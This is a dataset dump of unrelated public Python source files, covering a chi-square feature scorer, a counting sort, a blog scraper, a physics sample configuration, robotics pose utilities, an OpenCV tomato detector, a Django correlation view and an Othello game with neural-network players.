zeros(dim)\n\t\n\tfor d in range(dim):\n\t\tfeature = x[:,d]\n\t\tvals = unique(feature)\n\t\ttotal = 0\n\t\tfor i in range(len(vals)):\n\t\t\tsamples_val_i = where(feature==vals[i])[0]\n\t\t\tfor j in range(len(cl)):\n\t\t\t\tytmp = y[samples_val_i]\n\t\t\t\tOij = len(where(ytmp==cl[j])[0])\n\t\t\t\tsamples_cl_j = where(y==cl[j])[0]\n\t\t\t\tEij = float(len(samples_val_i)*len(samples_cl_j))/rows\n\t\t\t\ttotal = total + pow((Oij-Eij),2)/Eij\n\n\t\tvalCHI[d] = total\n\n\tchisq = valCHI\t\n\t\n\treturn chisq\n","repo_name":"stranastassis/TitanicKnn","sub_path":"chiSQ.py","file_name":"chiSQ.py","file_ext":"py","file_size_in_byte":553,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"11004820410","text":"array = [7,5,9,0,3,1,6,2,9,1,4,8,0,5,2]\n\ncnt_sort = [0]*(max(array)+1)\n\nfor i in array:\n cnt_sort[i]+=1\n\nfor idx,val in enumerate(cnt_sort):\n for i in range(val):\n print(idx ,end=' ')\n ","repo_name":"rlaehdgnsc/ThisIsCodingTestToGetAJob","sub_path":"sort/counting_sort.py","file_name":"counting_sort.py","file_ext":"py","file_size_in_byte":201,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"30371593928","text":"from requests_html import HTMLSession\r\n\r\nsession = HTMLSession()\r\nr = session.get('https://coreyms.com/')\r\n\r\n# match = r.html.find('.entry-header a')\r\n# match = r.html.find('.entry-title a')\r\n# match = r.html.find('.entry-title-link')\r\n# print(match[0].text)\r\n\r\narticles = r.html.find('article')\r\nfor article in articles:\r\n\r\n try:\r\n headline = article.find('.entry-title-link',first=True).text\r\n # print(headline[0].text)\r\n\r\n summary = article.find('.entry-content p',first=True).text\r\n # print(summary[0].text)\r\n\r\n vid_src = article.find('.youtube-player',first=True).attrs['src']\r\n vid_id = vid_src.split('?')[0]\r\n vid_id = vid_id.split('/')[4]\r\n youtube_link = f'https://www.youtube.com/watch?v={vid_id}'\r\n print(headline,summary,youtube_link,sep='\\n')\r\n print()\r\n\r\n except Exception:\r\n youtube_link = None\r\n\r\n\r\n","repo_name":"pouya-alipour741/Courses","sub_path":"Python/python tutorial advanced/Web Scraping with Requests-HTML/scrape_url.py","file_name":"scrape_url.py","file_ext":"py","file_size_in_byte":898,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"28444811329","text":"from PhysicsTools.NanoAODTools.postprocessing.modules.Dataset import *\nimport os\n\n#Input which era\n#era = eval(cfg.dataset())\n#print \"cfg.dataset() =\", cfg.dataset()\n\nsample ={}\nfor idataset in era:\n sample['%s'%idataset.filename()] ={}\n sample['%s'%idataset.filename()]['nevents'] = idataset.nevent()\n sample['%s'%idataset.filename()]['xsec'] = idataset.xsec()\n sample['%s'%idataset.filename()]['kfactor'] = idataset.kfactor()\n sample['%s'%idataset.filename()]['matcheff'] = idataset.matcheff()\n\nsamples = {\n 'data_obs' : {\n 'order' : 0,\n 'files' : [ x.filename() for x in era if x.name() == 'data_obs' and x.active() ],\n 'fillcolor' : 0,\n 'fillstyle' : 1,\n 'linecolor' : 1,\n 'linewidth' : 2,\n 'linestyle' : 1,\n 'label' : \"Data\",\n 'weight': 1.,\n 'plot': True,\n },\n 'DYJetsToLL' : {\n 'order' : 1,\n 'files' : [ x.filename() for x in era if x.name() == 'DYJetsToLL' and x.active() ],\n 'fillcolor' : 418,\n 'fillstyle' : 1001,\n 'linecolor' : 418,\n 'linewidth' : 2,\n 'linestyle' : 1,\n 'label' : \"Z(ll) + jets\",\n 'weight': 1.,\n 'plot': True,\n },\n 'DYJetsToLL_HT' : {\n 'order' : 1,\n 'files' : [ x.filename() for x in era if x.name() == 'DYJetsToLL_HT' and x.active() ],\n 'fillcolor' : 418,\n 'fillstyle' : 1001,\n 'linecolor' : 418,\n 'linewidth' : 2,\n 'linestyle' : 1,\n 'label' : \"Z(ll) + jets\",\n 'weight': 1.,\n 'plot': True,\n },\n 'DYJetsToLL_Pt' : {\n 'order' : 2,\n 'files' : [ x.filename() for x in era if x.name() == 'DYJetsToLL_Pt' and x.active() ],\n 'fillcolor' : 418,\n 'fillstyle' : 1001,\n 'linecolor' : 418,\n 'linewidth' : 2,\n 'linestyle' : 1,\n 'label' : \"Z(ll) + jets\",\n 'weight': 1.,\n 'plot': True,\n },\n 'WJetsToLNu' : {\n 'order' : 3,\n 'files' : [ x.filename() for x in era if x.name() == 'WJetsToLNu' and x.active() ],\n 'fillcolor' : 881,\n 'fillstyle' : 1001,\n 'linecolor' : 881,\n 'linewidth' : 2,\n 'linestyle' : 1,\n 'label' : \"W(l#nu) + jets\",\n 'weight': 1.,\n 'plot': True,\n },\n 'WJetsToLNu_HT' : {\n 'order' : 3,\n 'files' : [ x.filename() for x in era if x.name() == 'WJetsToLNu_HT' and x.active() ],\n\t 'fillcolor' : 881,\n 'fillstyle' : 1001,\n 'linecolor' : 881,\n 'linewidth' : 2,\n 'linestyle' : 1,\n 'label' : \"W(l#nu) + jets\",\n 'weight': 1.,\n 'plot': True,\n },\n 'TTbar' : {\n 'order' : 4,\n 'files' : [ x.filename() for x in era if x.name() == 'TTbar' and x.active() ],\n 'fillcolor' : 798,\n 'fillstyle' : 1001,\n 'linecolor' : 798,\n 'linewidth' : 2,\n 'linestyle' : 1,\n 'label' : \"t#bar{t}\",#, single t\n 'weight': 1.,\n 'plot': True,\n },\n 'TTbar-DiLept' : {\n 'order' : 4,\n 'files' : [ x.filename() for x in era if x.name() == 'TTBar-DiLept' and x.active() ],\n 'fillcolor' : 41,\n 'fillstyle' : 1001,\n 'linecolor' : 798,\n 'linewidth' : 2,\n 'linestyle' : 1,\n 'label' : \"t#bar{t} di-lept\",#, single t\n 'weight': 1.,\n 'plot': True,\n },\n 'TTbar-SL' : {\n 'order' : 4,\n 'files' : [ x.filename() for x in era if x.name() == 'TTbar-SL' and x.active() ],\n 'fillcolor' : 798,\n 'fillstyle' : 1001,\n 'linecolor' : 798,\n 'linewidth' : 2,\n 'linestyle' : 1,\n 'label' : \"t#bar{t} sing.lept\",\n 'weight': 1.,\n 'plot': True,\n },\n 'ST' : {\n 'order' : 5,\n 'files' : [ x.filename() for x in era if x.name() == 'ST' and x.active() ],\n 'fillcolor' : 801,\n 'fillstyle' : 1001,\n 'linecolor' : 801,\n 'linewidth' : 2,\n 'linestyle' : 1,\n 'label' : \"Single-t\",\n 'weight': 1.,\n 'plot': True,\n },\n 'WZ' : {\n 'order' : 7,\n 'files' : [ x.filename() for x in era if x.name() == 'WZ' and x.active() ],\n 'fillcolor' : 602,\n 'fillstyle' : 1001,\n 'linecolor' : 602,\n 'linewidth' : 2,\n 'linestyle' : 1,\n 'label' : \"WZ\",\n 'weight': 1.,\n 'plot': True,\n },\n 'WW' : {\n 'order' : 9,\n 'files' : [ x.filename() for x in era if x.name() == 'WW' and x.active() ],\n 'fillcolor' : 7,\n 'fillstyle' : 1001,\n 'linecolor' : 602,\n 'linewidth' : 2,\n 'linestyle' : 1,\n 'label' : \"WW\",\n 'weight': 1.,\n 'plot': True,\n },\n 'ZZ' : {\n 'order' : 8,\n 'files' : [ x.filename() for x in era if x.name() == 'ZZ' and x.active() ],\n 'fillcolor' : 9,\n 'fillstyle' : 1001,\n 'linecolor' : 602,\n 'linewidth' : 2,\n 'linestyle' : 1,\n 'label' : \"ZZ\",\n 'weight': 1.,\n 'plot': True,\n },\n 'VV' : {\n 'order' : 8,\n 'files' : [ x.filename() for x in era if x.name() == 'VV' and x.active() ],\n 'fillcolor' : 9,\n 'fillstyle' : 1001,\n 'linecolor' : 602,\n 'linewidth' : 2,\n 'linestyle' : 1,\n 'label' : \"WW, WZ, ZZ\",\n 'weight': 1.,\n 'plot': True,\n },\n 'ttH' : {\n 'order' : 10,\n 'files' : [ x.filename() for x in era if x.name() == 'ttH' and x.active() ],\n 'fillcolor' : 30,\n 'fillstyle' : 1001,\n 'linecolor' : 602,\n 'linewidth' : 2,\n 'linestyle' : 1,\n 'label' : \"ttH\",\n 'weight': 1.,\n 'plot': True,\n },\n 'ttV' : {\n 'order' : 10,\n 'files' : [ x.filename() for x in era if x.name() == 'ttV' and x.active() ],\n 'fillcolor' : 38,\n 'fillstyle' : 1001,\n 'linecolor' : 602,\n 'linewidth' : 2,\n 'linestyle' : 1,\n 'label' : \"ttW,ttZ,ttH\",\n 'weight': 1.,\n 'plot': True,\n },\n 'VVV' : {\n 'order' : 11,\n 'files' : [ x.filename() for x in era if x.name() == 'VVV' and x.active() ],\n 'fillcolor' : 46,\n 'fillstyle' : 1001,\n 'linecolor' : 602,\n 'linewidth' : 2,\n 'linestyle' : 1,\n 'label' : \"WWW,WWZ,ZZZ\",\n 'weight': 1.,\n 'plot': True,\n },\n 'WWJJ' : {\n 'order' : 9,\n 'files' : [ x.filename() for x in era if x.name() == 'WWJJ' and x.active() ],\n 'fillcolor' : 8,\n 'fillstyle' : 1001,\n 'linecolor' : 602,\n 'linewidth' : 2,\n 'linestyle' : 1,\n 'label' : \"W+W+,W-W-\",\n 'weight': 1.,\n 'plot': True,\n },\n 'Vg' : {\n 'order' : 6,\n 'files' : [ x.filename() for x in era if x.name() == 'Vg' and x.active() ],\n 'fillcolor' : 42,\n 'fillstyle' : 1001,\n 'linecolor' : 602,\n 'linewidth' : 2,\n 'linestyle' : 1,\n 'label' : \"W#gamma,Z#gamma\",\n 'weight': 1.,\n 'plot': True,\n },\n 'QCD' : {\n 'order' : 6,\n 'files' : [ x.filename() for x in era if x.name() == 'QCD' and x.active() ],\n 'fillcolor' : 921,\n 'fillstyle' : 1001,\n 'linecolor' : 921,\n 'linewidth' : 2,\n 'linestyle' : 1,\n 'label' : \"multijet\",\n 'weight': 1.,\n 'plot': True,\n },\n 'tZq' : {\n 'order' : 12,\n 'files' : [ x.filename() for x in era if x.name() == 'tZq' and x.active() ],\n 'fillcolor' : 30,\n 'fillstyle' : 1001,\n 'linecolor' : 602,\n 'linewidth' : 2,\n 'linestyle' : 1,\n 'label' : \"tZq\",\n 'weight': 1.,\n 'plot': True,\n },\n ## Signal\n 'wmhww': {\n 'order' : 0,\n 'files' : [ x.filename() for x in era if x.name() == 'wmhww' and x.active() ],\n 'fillcolor' : 2,\n 'fillstyle' : 3003,\n 'linecolor' : 2,\n 'linewidth' : 2,\n 'linestyle' : 1,\n 'label' : \"W^{-}H(l^{-}l^{-}#tilde{#nu}#tilde{#nu}jj)\",\n 'weight': 1.,\n 'plot': True,\n },\n 'wphww': {\n 'order' : 0,\n 'files' : [ x.filename() for x in era if x.name() == 'wphww' and x.active() ],\n 'fillcolor' : 4,\n 'fillstyle' : 3003,\n 'linecolor' : 4,\n 'linewidth' : 2,\n 'linestyle' : 1,\n 'label' : \"W^{+}H(l^{+}l^{+}#nu#nujj)\",\n 'weight': 1.,\n 'plot': True,\n },\n 'whww': {\n 'order' : 0,\n 'files' : [ x.filename() for x in era if x.name() == 'whww' and x.active() ],\n 'fillcolor' : 2,\n 'fillstyle' : 3003,\n 'linecolor' : 2,\n 'linewidth' : 2,\n 'linestyle' : 1,\n 'label' : \"W^{#pm}H(l^{#pm}l^{#pm}#tilde{#nu}#tilde{#nu}jj)\",\n 'weight': 1.,\n 'plot': True,\n },\n 'WHWW' : {\n 'order' : 1001,\n 'files' : [ x.filename() for x in era if x.name() == 'WHWW' and x.active() ],\n 'fillcolor' : 5,\n 'fillstyle' : 3003,\n 'linecolor' : 5,\n 'linewidth' : 2,\n 'linestyle' : 1,\n 'label' : \"HW^{#pm}J_HToWW_M125\",\n 'weight': 1.,\n 'plot': True,\n },\n 'WHWWm' : {\n 'order' : 1001,\n 'files' : [ x.filename() for x in era if x.name() == 'WHWWm' and x.active() ],\n 'fillcolor' : 5,\n 'fillstyle' : 3003,\n 'linecolor' : 5,\n 'linewidth' : 2,\n 'linestyle' : 1,\n 'label' : \"WmHWW\",\n 'weight': 1.,\n 'plot': True,\n },\n 'WHWWp' : {\n 'order' : 1001,\n 'files' : [ x.filename() for x in era if x.name() == 'WHWWp' and x.active() ],\n 'fillcolor' : 6,\n 'fillstyle' : 3003,\n 'linecolor' : 6,\n 'linewidth' : 2,\n 'linestyle' : 1,\n 'label' : \"WpHWW\",\n 'weight': 1.,\n 'plot': True,\n },\n 'VH': {\n 'order' : 0,\n 'files' : [ x.filename() for x in era if x.name() == 'VH' and x.active() ],\n 'fillcolor' : 3,\n 'fillstyle' : 3003,\n 'linecolor' : 3,\n 'linewidth' : 2,\n 'linestyle' : 1,\n 'label' : \"VH\",\n 'weight': 1.,\n 'plot': True,\n },\n # Dummy entry for background sum\n 'BkgSum' : {\n 'order' : 0,\n 'files' : [],\n 'fillcolor' : 1,\n 'fillstyle' : 3003,\n 'linecolor' : 1,\n 'linewidth' : 2,\n 'linestyle' : 1,\n 'label' : \"MC stat.\",\n 'weight': 1.,\n 'plot': True,\n },\n}\n\n#latino={}\n#for tag in Run2_17_nanov2_la:\n# latino[\"%s\"%tag.name()]={}\n# latino[\"%s\"%tag.name()]['files']=[ x for x in os.listdir(\"/lustre/cmswork/hoh/NANO/SSLep/nanoskim/final/CMSSW_9_4_13/src/PhysicsTools/NanoAODTools/latino-skim-v4-merge/\") \\\n# if '%s'%tag.filename() in x ]\n\n#samples = dict(samples, **latino)\n","repo_name":"LambdaFramework/Analyzer-Nano","sub_path":"Utils/sampleslist.py","file_name":"sampleslist.py","file_ext":"py","file_size_in_byte":10877,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"31320184674","text":"import imageio\nimport random\nimport numpy as np\nimport os\nimport sys\nimport torch\nimport yaml\n\n# To create reproducible results, set all seeds across all RNG manually,\n# https://github.com/pytorch/pytorch/issues/7068#issuecomment-484918113\n# when using additional workers, those also need to set their seeds.\n\n\ndef set_manual_seed(seed):\n torch.manual_seed(seed)\n torch.cuda.manual_seed(seed)\n torch.cuda.manual_seed_all(seed) # if you are using multi-GPU.\n np.random.seed(seed) # Numpy module.\n random.seed(seed) # Python random module.\n torch.manual_seed(seed)\n torch.backends.cudnn.benchmark = False\n torch.backends.cudnn.deterministic = True\n\n\ndef save_checkpoint(log_dir, model_name, checkpoint_dict):\n file_path = os.path.join(log_dir, model_name + '.pth')\n torch.save(checkpoint_dict, file_path)\n\n\ndef save_config(config, output_dir):\n \"\"\"Logs configs to file under directory.\"\"\"\n config_dict = config.__dict__\n file_path = os.path.join(output_dir, \"config.yaml\")\n with open(file_path, \"w\") as file:\n yaml.dump(config_dict, file, default_flow_style=False)\n\n\ndef save_command(output_dir):\n \"\"\"Logs current executing command to text file.\"\"\"\n with open(os.path.join(output_dir, 'cmd.txt'), 'a') as file:\n file.write(\" \".join(sys.argv) + \"\\n\")\n\n\ndef euler_angle_to_quaternion(rpy):\n \"\"\"Converts roll, pitch, yaw euler angles to quaternion.\n Reference: https://en.wikipedia.org/wiki/Conversion_between_quaternions_and_Euler_angles\n pyrep uses quat differently: https://pyrep.readthedocs.io/en/latest/pyrep.objects.html#pyrep.objects.object.Object.get_quaternion\n \"\"\"\n roll, pitch, yaw = rpy[0], rpy[1], rpy[2]\n\n cy = np.cos(yaw * 0.5)\n sy = np.sin(yaw * 0.5)\n cp = np.cos(pitch * 0.5)\n sp = np.sin(pitch * 0.5)\n cr = np.cos(roll * 0.5)\n sr = np.sin(roll * 0.5)\n\n w = cr * cp * cy + sr * sp * sy\n x = sr * cp * cy - cr * sp * sy\n y = cr * sp * cy + sr * cp * sy\n z = cr * cp * sy - sr * sp * cy\n quat = np.array([x, y, z, w]).squeeze()\n return quat\n\n\ndef quaternion_to_euler_angle(quat):\n \"\"\"Converts quaternion to euler angles\n Reference: https://en.wikipedia.org/wiki/Conversion_between_quaternions_and_Euler_angles \n pyrep uses quat differently: https://pyrep.readthedocs.io/en/latest/pyrep.objects.html#pyrep.objects.object.Object.get_quaternion\n \"\"\"\n # w, x, y, z = quat[0], quat[1], quat[2], quat[3]\n x, y, z, w = quat[0], quat[1], quat[2], quat[3]\n\n # roll (x-axis rotation)\n sinr_cosp = 2 * (w * x + y * z)\n cosr_cosp = 1 - 2 * (x * x + y * y)\n roll = np.arctan2(sinr_cosp, cosr_cosp)\n roll = float(roll)\n\n # pitch (y-axis rotation)\n sinp = float(2 * (w * y - z * x))\n if sinp > 1:\n pitch = np.pi / 2.0\n elif sinp < -1:\n pitch = -np.pi / 2.0\n else:\n pitch = np.arcsin(sinp)\n pitch = float(pitch)\n\n # yaw (z-axis rotation)\n siny_cosp = 2 * (w * z + x * y)\n cosy_cosp = 1 - 2 * (y * y + z * z)\n yaw = np.arctan2(siny_cosp, cosy_cosp)\n yaw = float(yaw)\n\n rpy = np.array([roll, pitch, yaw]).squeeze()\n return rpy\n\n\ndef pose_quat_to_rpy(pose):\n \"\"\"Replaces quaterion in pose to euler angles\n pose: (7,), angles are normalized by np.pi \n \"\"\"\n pos, quat = pose[:3], pose[3:]\n rpy = quaternion_to_euler_angle(quat) / np.pi\n new_pose = np.concatenate([pos, rpy])\n return new_pose # (6,)\n\n\ndef pose_rpy_to_quat(pose):\n \"\"\"Replaces euler angles in pose to quaternion\n pose: (6,), angles are scaled back up by np.pi\n \"\"\"\n pos, rpy = pose[:3], pose[3:]\n quat = euler_angle_to_quaternion(rpy * np.pi)\n new_pos = np.concatenate([pos, quat])\n return new_pos # (7,)\n\n\ndef save_video(name, frames, fps=20):\n \"\"\"Convert list of frames (H,W,C) to video.\n\n Args:\n name (str): path name to save the video.\n farmes (list): frames of the video as list of np arrays.\n fps (int, optional): frames per second.\n \"\"\"\n assert \".gif\" in name or \".mp4\" in name, \"invalid video name\"\n vid_kwargs = {'fps': fps}\n h, w, c = frames[0].shape\n video = np.stack(frames, 0).astype(np.uint8).reshape(-1, h, w, c)\n imageio.mimsave(name, video, **vid_kwargs)","repo_name":"StafaH/graph-imitation-learning","sub_path":"src/graphs/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":4227,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"37"} +{"seq_id":"34638374928","text":"import cv2\nimport numpy as np\n\n\ndef getMask(img):\n # Convert BGR to HSV\n hsv = cv2.cvtColor(img, cv2.COLOR_BGR2HSV)\n # define range of red color in HSV (hue,saturation, value)\n lower_red = np.array([12, 15, 15], np.uint8)\n upper_red = np.array([150, 255, 253], np.uint8)\n mask = cv2.inRange(hsv, lower_red, upper_red)\n return mask\n\n\ndef run():\n img = cv2.imread(\"tomate.jpg\")\n\n mask = getMask(img)\n res = cv2.medianBlur(mask, 13)\n _, resInv = cv2.threshold(res, 240, 255, cv2.THRESH_BINARY_INV)\n contornos, _ = cv2.findContours(\n resInv, cv2.RETR_EXTERNAL, cv2.CHAIN_APPROX_SIMPLE)\n\n i = 0\n for c in contornos:\n\n M = cv2.moments(c)\n if(M[\"m00\"] == 0):\n M[\"m00\"] = 1\n\n x = int(M[\"m10\"]/M[\"m00\"])\n y = int(M[\"m01\"]/M[\"m00\"])\n\n msj = \" \"+str(i)\n cv2.putText(\n img, msj, (x, y), cv2.FONT_HERSHEY_PLAIN, 0.75, (255, 0, 0), 2, cv2.LINE_AA)\n cv2.drawContours(img, [c], 0, (255, 0, 0), 2)\n i += 1\n\n cv2.imshow('Mask', mask)\n cv2.imshow('res', res)\n cv2.imshow('resInv', resInv)\n cv2.imshow('Tomates identificados', img)\n\n cv2.waitKey(0)\n cv2.destroyAllWindows()\n\n\nif \"__main__\" == __name__:\n run()\n","repo_name":"DavidSS0912/Python_practica_6_Identificacion_de_objetos","sub_path":"practica_6.py","file_name":"practica_6.py","file_ext":"py","file_size_in_byte":1238,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"27780833310","text":"import math\nimport numpy\nfrom scipy.stats import linregress\nimport matplotlib.pyplot as plt\n\nfrom django.shortcuts import render, redirect\nfrom core.models import *\n\n\ndef analyzeIndex(request):\n if 'user' in request.session:\n objExt = UserExtSettings.objects.filter(user_id=request.session['user']).order_by('-date_created').last()\n\n if not objExt:\n return redirect('tracker:settingsExt')\n\n listExt = []\n fields = [f for f in objExt._meta.get_fields() if\n f.name not in ['id', 'user', 'gender', 'age', 'date_created', 'date_updated', 'body_mass_index']]\n\n for field in fields:\n val = objExt.__getattribute__(field.name)\n\n listExt.append({\n 'key': field.name,\n 'value': 0 if val is None else round(val, 2)\n })\n\n return render(request, 'analyze/index.html', {'listExt': listExt, 'objExt': objExt})\n else:\n return redirect('auth:auth')\n\n\ndef analyzeParam(request, name):\n if 'user' in request.session:\n\n list_a = UserExtSettings.objects.filter(user_id=request.session['user']).values_list(name, flat=True).order_by(\n 'date_created')\n\n fields = [f for f in UserExtSettings._meta.get_fields() if\n f.name not in ['id', 'user', 'gender', 'age', 'date_created', 'date_updated', 'body_mass_index']]\n\n dataReg = []\n for field in fields:\n list_b = UserExtSettings.objects.filter(user_id=request.session['user']).values_list(field.name,\n flat=True).order_by(\n 'date_created')\n\n r = linregress(list(list_a), list(list_b))\n\n plt.plot(list(list_a), list(list_b), 'ro')\n plt.xlabel(name)\n plt.ylabel(str(field.name))\n\n plt.title('Fractal dimension with ' + str(r.slope))\n\n z = numpy.polyfit(list(list_a), list(list_b), 1)\n p = numpy.poly1d(z)\n plt.plot(list(list_a), p(list(list_a)), \"b--\", )\n plt.savefig('static/analyze/foo_' + str(field.name) + '.png')\n # plt.show()\n plt.close()\n\n dataReg.append({\n 'regression': round(r.slope, 2),\n 'image': 'static/analyze/foo_' + str(field.name) + '.png',\n 'key': field.name,\n 'title': UserExtSettings._meta.get_field(field.name).verbose_name,\n 'corr_title': corr_title(round(r.slope, 2))\n })\n print(round(r.slope, 2))\n print(corr_title(round(r.slope, 2)))\n print('---------')\n\n return render(request, 'analyze/analyze.html',\n {'dataReg': dataReg, 'current_name': UserExtSettings._meta.get_field(name).verbose_name})\n else:\n return redirect('auth:auth')\n\n\ndef corr_title(reg):\n if reg >= 1:\n return 'Полная положительная корреляция'\n elif 0.8 <= reg < 1:\n return 'Полная положительная корреляция'\n elif 0.6 <= reg < 0.8:\n return 'Сильная положительная корреляция'\n elif 0.05 <= reg < 0.6:\n return 'Умеренная положительная корреляция'\n elif -0.05 < reg < 0.05:\n return 'Никакой корреляции вообще'\n elif -0.6 <= reg < -0.05:\n return 'Умеренная отрицательная корреляция'\n elif -0.8 <= reg < -0.6:\n return 'Сильная положительная ��орреляция'\n elif -1 <= reg < -0.8:\n return 'Полная отрицательная корреляция'\n elif -1 > reg:\n return 'Полная отрицательная корреляция'\n else:\n return ''","repo_name":"Cheltsov/mydip","sub_path":"tracker/views/views_analyze.py","file_name":"views_analyze.py","file_ext":"py","file_size_in_byte":3881,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"21399561513","text":"\"\"\"Plays othello game\"\"\"\n\n\nfrom Othello import Othello\nfrom Player import Player\nfrom NeuralNetwork import NeuralNetwork\nimport numpy as np\nfrom gui import GameBoard\nimport Tkinter as tk\n\n\nbWin = 0\nwWin = 0\nties = 0\n\n\ndef main():\n nn = NeuralNetwork(50, 1.0, 0.9, 0.001)\n nn.load(\"1-nn_dec_random_120000.pkl\", \"nn_dec_random\", \"nn_dec_random\", 1)\n #play0(nn, None)\n #play1(nn, None, True)\n #play2()\n playGui(nn)\n\n\n#===============================================================================\n#Playing\n#===============================================================================\n#play game against gui\ndef playGui(nn):\n root = tk.Tk()\n game = Othello()\n black_player = Player(nn, game, True, \"human_gui\")\n white_player = Player(nn, game, False, \"nn\")\n gui_board = GameBoard(root, game, black_player, white_player)\n gui_board.play()\n\n\n#plays game with two agents\ndef play0(nn_black, nn_white):\n global bWin, wWin, ties\n game = Othello()\n black_player = Player(nn_black, game, True)\n white_player = Player(nn_white, game, False, \"random\")\n while True:\n #if no valid moves, switch turns and check for winner\n if game.isGameOver():\n break\n\n #print score\n print(\"Black - {}\\tWhite - {}\").format(game.black_score, game.white_score)\n #print board\n print(game.game_board)\n\n\n #print turn\n if game.game_board.black_turn:\n print(\"Black's Turn\")\n black_player.makeMove()\n else:\n print(\"White's Turn\")\n white_player.makeMove()\n\n print(\"\\n==========================================================\\n\")\n\n #Game Over\n print(\"Black - {}\\tWhite - {}\").format(game.black_score, game.white_score)\n print(game.game_board)\n\n #Check score\n if(game.black_score > game.white_score):\n bWin +=1\n print(\"Black Wins!\")\n elif(game.black_score < game.white_score):\n wWin +=1\n print(\"White Wins!\")\n elif(game.black_score == game.white_score):\n ties+=1\n print(\"It's a tie!\")\n\n#plays game with one user, one agent\ndef play1(nn_black, nn_white, player_black):\n game = Othello()\n if player_black:\n agent = Player(nn_white, game, not player_black, \"alphabeta\")\n else:\n agent = Player(nn_black, game, not player_black, \"alphabeta\")\n while True:\n #if no valid moves, switch turns and check for winner\n if game.isGameOver():\n break\n\n #print score\n print(\"Black - {}\\tWhite - {}\").format(game.black_score, game.white_score)\n #print board\n print(game.game_board)\n\n\n #agent's turn\n if game.game_board.black_turn and not player_black:\n print(\"Black's Turn\")\n agent.makeMove()\n elif not game.game_board.black_turn and player_black:\n print(\"White's Turn\")\n agent.makeMove()\n\n #player's turn\n else:\n if player_black:\n print(\"Black's Turn\")\n else:\n print(\"White's Turn\")\n #Print valid moves\n print(\"Valid Moves: {}\").format(game.validMovesStringify())\n\n #Get move input\n move = raw_input(\"Choose move (q to quit): \")\n\n #validate input\n is_valid_move = game.validateMoveInput(move)\n\n if is_valid_move:\n if move == \"q\" :\n break\n else:\n move = game.moveToCoords(move)\n game.setTile(move[0], move[1])\n\n print(\"\\n==========================================================\\n\")\n\n #Game Over\n print(\"Black - {}\\tWhite - {}\").format(game.black_score, game.white_score)\n print(game.game_board)\n\n #Check score\n if(game.black_score > game.white_score):\n print(\"Black Wins!\")\n elif(game.black_score < game.white_score):\n print(\"White Wins!\")\n elif(game.black_score == game.white_score):\n print(\"It's a tie!\")\n\n#plays game with two users\ndef play2():\n game = Othello()\n while True:\n game.game_board.updateValidMoves()\n\n #if no valid moves, switch turns and check for winner\n if game.game_board.valid_moves == {}:\n if game.game_board.black_turn:\n print(\"Black cannot make any valid moves\")\n else:\n print(\"White's cannot make any valid moves\")\n game.game_board.switchTurns()\n #check for winner\n game.game_board.updateValidMoves()\n if game.game_board.valid_moves == {}:\n break\n\n #print score\n print(\"Black - {}\\tWhite - {}\").format(game.black_score, game.white_score)\n #print board\n print(game.game_board)\n\n\n #print turn\n if game.game_board.black_turn:\n print(\"Black's Turn\")\n else:\n print(\"White's Turn\")\n\n #Print valid moves\n print(\"Valid Moves: {}\").format(game.validMovesStringify())\n\n #Get move input\n move = raw_input(\"Choose move (q to quit): \")\n\n #validate input\n is_valid_move = game.validateMoveInput(move)\n\n if is_valid_move:\n if move == \"q\" :\n break\n else:\n move = game.moveToCoords(move)\n game.setTile(move[0], move[1])\n\n print(\"\\n==========================================================\\n\")\n\n #Game Over\n print(\"Black - {}\\tWhite - {}\").format(game.black_score, game.white_score)\n print(game.game_board)\n\n #Check score\n if(game.black_score > game.white_score):\n print(\"Black Wins!\")\n elif(game.black_score < game.white_score):\n print(\"White Wins!\")\n elif(game.black_score == game.white_score):\n print(\"It's a tie!\")\n\n\n#play game with extra output\ndef playVerbose(nn_black, nn_white):\n continue_play = False\n game = Othello()\n black_player = Player(nn_black, game, True)\n white_player = Player(nn_white, game, False, \"pos_values\")\n #white_player = Player(None, game, False, \"greedy\")\n while True:\n if game.isGameOver():\n break\n\n #print score\n print(\"Black - {}\\tWhite - {}\").format(game.black_score, game.white_score)\n #print board\n print(game.game_board)\n\n #if coninuing play\n if continue_play:\n if game.game_board.black_turn:\n black_player.makeMove()\n else:\n white_player.makeMove()\n\n #if not coninuing play\n else:\n #print turn\n if game.game_board.black_turn:\n print(\"Black's Turn\")\n else:\n print(\"White's Turn\")\n\n rand = None\n #print valid moves\n if game.game_board.black_turn:\n print(\"Black's Turn\")\n print(\"Valid Moves: {}\").format(game.validMovesStringify())\n\n for k, v in black_player.getNNInputs().items():\n print(\"{}: {}\").format(game.validMoveStringify(k), black_player.nn.getValue(np.matrix(v)))\n\n else:\n print(\"White's Turn\")\n # print(\"Valid Moves: {}\").format(game.validMovesStringify())\n # rand = random.randrange(0, len(game.game_board.valid_moves.keys()))\n # print(\"Random index: {}\").format(rand)\n print(\"Valid Moves: {}\").format(game.validMovesStringify())\n for k, v in black_player.getNNInputs().items():\n print(\"{}: {}\").format(game.validMoveStringify(k), black_player.nn.getValue(np.matrix(v)))\n\n command = raw_input(\"n to next (default), c to play game, q to quit: \")\n if command == \"n\" or command == \"\":\n if game.game_board.black_turn:\n black_player.makeMove()\n else:\n white_player.makeMove(rand)\n elif command == \"c\":\n continue_play = True\n if game.game_board.black_turn:\n black_player.makeMove()\n else:\n white_player.makeMove(rand)\n elif command == \"q\":\n break\n else:\n print(\"not a valid command, try again\")\n\n print(\"\\n==========================================================\\n\")\n\n #Game Over\n print(\"Black - {}\\tWhite - {}\").format(game.black_score, game.white_score)\n print(game.game_board)\n\n #Check score\n if(game.black_score > game.white_score):\n print(\"Black Wins!\")\n elif(game.black_score < game.white_score):\n print(\"White Wins!\")\n elif(game.black_score == game.white_score):\n print(\"It's a tie!\")\n\n\n\n#===============================================================================\n#Testing\n#===============================================================================\n\n#runs a certain number of game iterations\ndef runGames(nn, nn_file, dirname, iterations):\n global bWin, wWin, ties\n bWin = 0\n wWin = 0\n ties = 0\n for i in xrange(iterations):\n 